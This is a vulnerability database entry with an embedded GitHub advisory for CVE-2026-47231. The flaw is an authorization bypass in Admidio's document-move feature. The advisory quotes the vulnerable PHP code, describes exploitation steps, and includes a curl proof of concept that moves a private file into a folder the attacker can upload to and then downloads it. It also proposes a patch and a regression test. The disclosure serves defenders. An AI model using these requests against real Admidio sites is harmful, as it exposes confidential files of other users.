CVE-2026-47231: Admidio/admidio Admidio Has IDOR Vulnerability
HIGHCVE-2026-47231 is a HIGH (CVSS 8.1) admidio has idor vulnerability (CWE-639: Authorization Bypass Through User-Controlled Key) affecting Admidio/admidio libraries in the Packagist ecosystem. The issue involves admidio has idor in `documents-files.php` `mode=move_save` that lets any folder-uploader exfiltrate files from private folders. Remediation is available by upgrading affected packages to version 5.0.10.
CVE-2026-47231 at a Glance
Security Impact
CVSS: 8.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).
How to Fix CVE-2026-47231
To remediate this vulnerability, upgrade all affected Admidio/admidio dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade admidio/admidio to 5.0.10
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for admidio/admidio
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-47231, inspect your project dependencies for Admidio/admidio:
inspect dependencies for admidio/admidio
Analyze the terminal output to locate any version of Admidio/admidio in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.0.10), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-639: Authorization Bypass Through User-Controlled Key, where the system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. In Admidio/admidio, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-47231 Affected Admidio/admidio Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
admidio/admidio
|
Packagist |
< 5.0.10
|
5.0.10
|
References
Frequently Asked Questions
What is CVE-2026-47231?
Which Admidio/admidio versions are affected?
What version fixes CVE-2026-47231?
Is admidio/admidio affected?
What is the CVSS score of CVE-2026-47231?
What CWE is associated with CVE-2026-47231?
How can I check Packagist dependencies for CVE-2026-47231?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-x628-457g-2pw9",
"modified" : "2026-05-29T22:06:49Z",
"published" : "2026-05-29T22:06:48Z",
"aliases" : [ "CVE-2026-47231" ],
"summary" : "Admidio has IDOR in `documents-files.php` `mode=move_save` that lets any folder-uploader exfiltrate files from private folders",
"details" : "## Summary\n\n`modules/documents-files.php` gates state-changing modes by checking that the actor has `hasUploadRight()` on the URL parameter `folder_uuid`. The `move_save` handler then operates on a *separate* URL parameter `file_uuid` and calls `File::moveToFolder($destFolderUUID)`. `File::moveToFolder()` checks the upload right on the **destination** folder but never on the **source** folder containing the file. As a result, any user who can upload to any single folder can move any file from any other folder — including private folders to which they have no view rights — into a folder they control, and then download it. Confidentiality is broken (private file contents leak) and integrity is broken (the file is removed from the original location).\n\n## Details\n\n### Vulnerable Code\n\n`modules/documents-files.php:79-89` — top-level rights check binds to URL `folder_uuid`:\n\n```php\nif ($getMode != 'list' && $getMode != 'download') {\n // check the rights of the current folder\n // user must be administrator or must have the right to upload files\n $folder = new Folder($gDb);\n $folder->getFolderForDownload($getFolderUUID);\n\n if (!$folder->hasUploadRight()) {\n $gMessage->show($gL10n->get('SYS_NO_RIGHTS'));\n // => EXIT\n }\n}\n```\n\n`modules/documents-files.php:187-204` — the `move_save` branch loads the file by UUID without revalidating the file's actual parent folder:\n\n```php\ncase 'move_save':\n $documentsFilesMoveForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);\n $formValues = $documentsFilesMoveForm->validate($_POST);\n\n if ($getFileUUID !== '') {\n $file = new File($gDb);\n $file->readDataByUuid($getFileUUID); // <-- no permission check on the file's source folder\n $file->moveToFolder($formValues['adm_destination_folder_uuid']);\n } else {\n $folder = new Folder($gDb);\n $folder->readDataByUuid($getFolderUUID);\n $folder->moveToFolder($formValues['adm_destination_folder_uuid']);\n }\n\n $gNavigation->deleteLastUrl();\n echo json_encode(array('status' => 'success', 'url' => $gNavigation->getUrl()));\n break;\n```\n\n`src/Documents/Entity/File.php:212-223` — `moveToFolder` checks only the destination:\n\n```php\npublic function moveToFolder(string $destFolderUUID)\n{\n $folder = new Folder($this->db);\n $folder->readDataByUuid($destFolderUUID);\n\n if ($folder->hasUploadRight()) { // <-- destination only\n FileSystemUtils::moveFile($this->getFullFilePath(),\n $folder->getFullFolderPath() . '/' . $this->getValue('fil_name'));\n $this->setValue('fil_fol_id', $folder->getValue('fol_id'));\n $this->save();\n }\n}\n```\n\nThere is no check that the actor has any right (view, edit, upload) on the folder that *currently* contains the file. The `file_uuid` URL parameter is independent of `folder_uuid`, so an attacker can pass `folder_uuid=<a folder I can upload to>` together with `file_uuid=<a file in a folder I cannot read>`. The top-level rights check passes; the destination check passes; the file is moved.\n\n### Exploitation Primitive\n\n1. Attacker user `lowuser` holds `folder_upload` on a single Documents folder `public_uploadable` (UUID `c41a99c0-…`). They have no view or edit rights on `private_admin_only` (UUID `db1f71b9-…`, which is a role-restricted folder containing `private_to_delete.txt`, UUID `559ed352-…`).\n2. Render the move form with mismatched UUIDs to register a form key in the session:\n `GET /modules/documents-files.php?mode=move&folder_uuid=c41a99c0-…&file_uuid=559ed352-…`\n3. Submit `move_save` with the same mismatch:\n `POST /modules/documents-files.php?mode=move_save&folder_uuid=c41a99c0-…&file_uuid=559ed352-…` with `adm_csrf_token=<from step 2>` and `adm_destination_folder_uuid=c41a99c0-…`. Server replies `{\"status\":\"success\"}`. The `private_to_delete.txt` row in `adm_files` now has `fil_fol_id` pointing at the public-uploadable folder.\n4. Download the file from its new (publicly-accessible) location:\n `GET /modules/documents-files.php?mode=download&file_uuid=559ed352-…` returns the bytes of `private_to_delete.txt`.\n\n## PoC\n\nTested live on HEAD `c5cde53`. The trace below is the agent-captured run; I verified the code paths against the source listed above.\n\n```\n# 0. starting state — lowuser has upload right ONLY on c41a99c0-… (public_uploadable)\n$ curl -sb $cookie http://127.0.0.1:8085/modules/documents-files.php?folder_uuid=db1f71b9-…\n\"You do not have the required permission to perform this action.\"\n\n# 1. render the move form using the public folder UUID (where lowuser has upload right)\n# paired with the PRIVATE file UUID\n$ curl -sb $cookie \\\n \"http://127.0.0.1:8085/modules/documents-files.php?mode=move&folder_uuid=c41a99c0-…&file_uuid=559ed352-…\"\n# form rendered, CSRF token X is now in session\n\n# 2. submit move_save with the same param mismatch\n$ curl -sb $cookie -X POST \\\n \"http://127.0.0.1:8085/modules/documents-files.php?mode=move_save&folder_uuid=c41a99c0-…&file_uuid=559ed352-…\" \\\n -d \"adm_csrf_token=X&adm_destination_folder_uuid=c41a99c0-…\"\n{\"status\":\"success\", \"url\":\"…\"}\n\n# 3. download the leaked file\n$ curl -sb $cookie \\\n \"http://127.0.0.1:8085/modules/documents-files.php?mode=download&file_uuid=559ed352-…\"\nprivate_to_delete_data\n```\n\nThe DB record for the file now points at the attacker's folder (`fil_fol_id` updated), and the file has been physically moved on disk by `FileSystemUtils::moveFile`.\n\n## Impact\n\nAny user with `folder_upload` right on a single Documents folder gains:\n\n* **Read access** to every file in private folders — admin-only documents, board-only files, leader-only resources, role-restricted attachments — by moving them into a folder the attacker owns and then downloading.\n* **Write/destruction primitive** — the file is no longer in its original folder. Users who depended on the file at its legitimate location can no longer find it. The moved file's permissions are now those of the destination, so previously-restricted content can be exposed to other low-privilege users (whoever else has view rights on the destination folder).\n\nIn multi-tenant Admidio installations where one shared deployment hosts multiple groups (e.g., a federation of associations), the bug crosses organisation-internal Documents trust boundaries: a member of group A holding `folder_upload` on group A's public folder can lift any private file from group B.\n\n`PR:L` reflects that the actor must hold a single Documents upload right (a routinely-granted role attribute, not an administrator privilege). `S:U` because the impact stays inside the Documents module's own access-control model, but the access boundary it bypasses is the one that operators most rely on. `C:H` because confidentiality of any file in any private folder is broken; `I:H` because file location is mutated.\n\n## Recommended Fix\n\n`File::moveToFolder()` must check that the actor has upload right (or at least edit / move right) on the file's *source* folder, not just on the destination. The minimal patch:\n\n```php\n// src/Documents/Entity/File.php\npublic function moveToFolder(string $destFolderUUID)\n{\n // re-read the source folder this file currently lives in, and check rights on it\n $sourceFolder = new Folder($this->db);\n $sourceFolder->readData($this->getValue('fil_fol_id'));\n if (!$sourceFolder->hasUploadRight()) {\n throw new Exception('SYS_NO_RIGHTS');\n }\n\n $destFolder = new Folder($this->db);\n $destFolder->readDataByUuid($destFolderUUID);\n\n if (!$destFolder->hasUploadRight()) {\n throw new Exception('SYS_NO_RIGHTS');\n }\n\n FileSystemUtils::moveFile($this->getFullFilePath(),\n $destFolder->getFullFolderPath() . '/' . $this->getValue('fil_name'));\n $this->setValue('fil_fol_id', $destFolder->getValue('fol_id'));\n $this->save();\n}\n```\n\nEquivalently, `documents-files.php` `case 'move_save'` should resolve the file's actual parent folder before the operation and call `getFileForDownload()` plus `hasUploadRight()` on that parent. The same fix is needed for `Folder::moveToFolder()` (the move-folder path is identical in shape).\n\nA regression test should:\n1. Create user `lowuser` with upload right only on folder A.\n2. Place a private file in folder B with no rights for `lowuser`.\n3. As `lowuser`, render `mode=move` with `folder_uuid=A&file_uuid=<B's file>`, then `POST mode=move_save` with the same.\n4. Assert the response is `SYS_NO_RIGHTS` and the file's `fil_fol_id` is unchanged.\n\n## Related\n\n`mode=file_rename_save` shares the same root cause and is filed separately (`06-documents-cross-folder-rename-idor.md`); both bugs flow from the top-level rights check binding to URL `folder_uuid` rather than the file's actual parent.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "admidio/admidio"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "5.0.10"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 5.0.9"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/Admidio/admidio/security/advisories/GHSA-x628-457g-2pw9"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/Admidio/admidio"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-639", "CWE-863" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-29T22:06:48Z",
"nvd_published_at" : null
}
}